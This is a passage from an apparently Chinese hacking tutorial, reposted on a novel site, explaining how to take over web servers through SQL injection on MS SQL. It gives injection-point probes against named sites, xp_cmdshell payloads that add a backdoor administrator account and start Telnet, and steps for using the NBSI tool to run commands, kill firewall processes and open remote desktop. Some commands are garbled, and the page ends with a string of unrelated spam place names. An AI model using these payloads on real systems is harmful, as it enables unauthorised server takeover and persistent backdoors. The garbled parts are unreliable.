官术网_书友最值得收藏!

2.7 擴展存儲過程直接攻擊服務器

除了在第二部分中提到的上傳木馬后門、控制網站服務器外,還可以直接利用SQL語句來查詢服務器信息、執行任意命令、操作注冊表等。

2.7.1 存儲過程快速攻擊數據庫

SQL中的“master.dbo.xp_cmdshell”、“xp_servicecontrol”等擴展存儲過程是一類用來擴展數據庫功能的命令,利用它可以完成對整個系統的控制。如果當前連接網站數據庫的賬號具有SA權限,并且數據庫中存在該擴展存儲過程的話,那么就可以用如下方法來入侵網站服務器了。

1.判斷當前數據庫連接用戶權限

在注入點“http://www.anzhuang.org:8000/guild/sites/cia/detail.asp? i=JRJD&id=2578”提交“and user>0”,返回信息如下(圖130):

圖130 返回信息界面

“……將nvarchar值 ’dbo’ 轉換為數據類型為int的列時發生語法錯誤。……”,其中“dbo”即為當前連接數據庫的用戶名,該用戶名默認為SA權限。如果是其他自定義的用戶名,則表明該用戶權限為“public”。

2.獲得當前連接的數據庫名

提交“and db_name()>0”,返回信息為(圖131):

            “……將 nvarchar 值 ’guild’ 轉換為數據類型為 int 的列時發生語法錯
            誤。……”

表明當前連接的數據庫名為“guild”。

圖131 返回信息界面

3.執行任意命令

利用“master.dbo.xp_cmdshell”擴展存儲過程,可以執行任意系統命令,如可以在系統中添加新的賬戶,開啟系統的Telnet或3389服務等;或者修改注冊表,任意添加刪除文件等。

a.添加系統賬戶

提交語句:

            http://www.xinzun.com.cn/skill/skill_id.asp? id=1 ; exec master..
            xp_cmdshell "net user xiaoyao loveyou /add"

將在系統中添加用戶名和密碼分別為“xiaoyao”、“loveyou”的賬號;

提交“; exec master..xp_cmdshell "net localgroup administrators xiaoyao /add"”

將賬號“xiaoyao”的用戶提升為管理員。

b.開啟Telnet服務

提交“; exec master..xp_servicecontrol "net start /add"”,即可開啟遠程服務器上的Telnet服務。

此外,在SQL中還有一些擴展存儲,可以操作注冊表、讀取任意文件,甚至可以在服務器的Web虛擬路徑中寫入ASP木馬后門等。

2.7.2 利用NBSI注入控制服務器

上面介紹的利用存儲過程控制服務器的方法,對于初學SQL注入的讀者來說略顯復雜了,因此未做太詳細的介紹。下面要重點介紹給大家的是如何利用NBSI來入侵控制服務器。

1.簡單獲取數據庫信息

尋找到一個SQL注入點后,打開NBSI并單擊程序窗口工具欄上的“注入分析”按鈕,在“注入地址”中輸入注入點URL鏈接,然后單擊【檢測】按鈕,運行完畢后在右邊的“SQL Server信息”中顯示出當前連接SQL Server數據庫的用戶名、權限及所連接的數據庫名等(圖132)。

圖132 獲取數據庫信息

2.“NB Commander命令行執行器”輕松獲取系統權限

如果在SQL信息中返回的是DBO用戶、SA權限,那么利用NBSI可以很快地獲取網站服務器的系統權限。單擊工具欄中的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“NB Commander命令行執行器”命令。然后在“注入地址”中輸入注入點鏈接地址,并選擇注入類型;然后勾選“嘗試回顯結果”復選框及“執行DOS命令”復選框(圖133)。

圖133 獲取系統權限

在“命令”中輸入要執行的系統命令,如可輸入“netstat -na”,單擊【執行】按鈕后,即可看到服務器上此時正在運行的程序及打開的端口。可在“命令”框中輸入相關的命令,來打開3389或Telnet等服務,或者使用“tasklist”和“taskkill”命令來顯示及結束服務器上的防火墻進程等。然后就可以直接用3389登錄服務器進行控制了。

當勾選“執行DOS命令”時,會彈出常用的DOS命令,如添加賬戶、顯示目錄文件夾等(見圖134),可以方便我們直接復制后運行。另外在勾選“SQL語句”后,也可以直接在“命令”框中輸入SQL命令查詢數據庫,或者調用各種擴展存儲,完成一些特殊的命令。

3.“HBTreeList”目錄列表提升權限

如果我們并沒有太高的權限,但是只要有“Public”以上的權限,都可以利用NBSI的該功能查看服務器上的目錄和文件列表。

圖134 常用的DOS命令

單擊工具欄上的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“HBTreeList目錄列表工具”命令。然后輸入注入點鏈接地址,并選擇注入類型;勾選右邊的“文件”和“文件夾”復選框,然后在“輸入路徑”中輸入要查看的磁盤路徑,單擊【列目錄】按鈕,就可以查看到任意路徑中的文件夾及文件列表了(圖135)。不過在命令執行時速度非常慢,需要耐心等待。

圖135 查看文件及文件夾列表

獲得磁盤中的目錄信息后,可以有助于了解服務器上安裝了什么防火墻或殺毒軟件,是否可以利用Serv-U、PCanywhere等來提升權限等。具體提升權限的方法會在后面有所提及。

主站蜘蛛池模板: 盐池县| 英超| 永和县| 乾安县| 合江县| 商都县| 古田县| 京山县| 开江县| 南充市| 资兴市| 红原县| 绿春县| 分宜县| 宣恩县| 高青县| 姜堰市| 土默特右旗| 甘泉县| 怀安县| 吉木萨尔县| 定州市| 高邑县| 普宁市| 枣庄市| 贵南县| 师宗县| 公主岭市| 疏附县| 赣榆县| 临湘市| 布尔津县| 三亚市| 宁河县| 潞城市| 苍溪县| 米泉市| 城步| 玉环县| 安仁县| 三门峡市|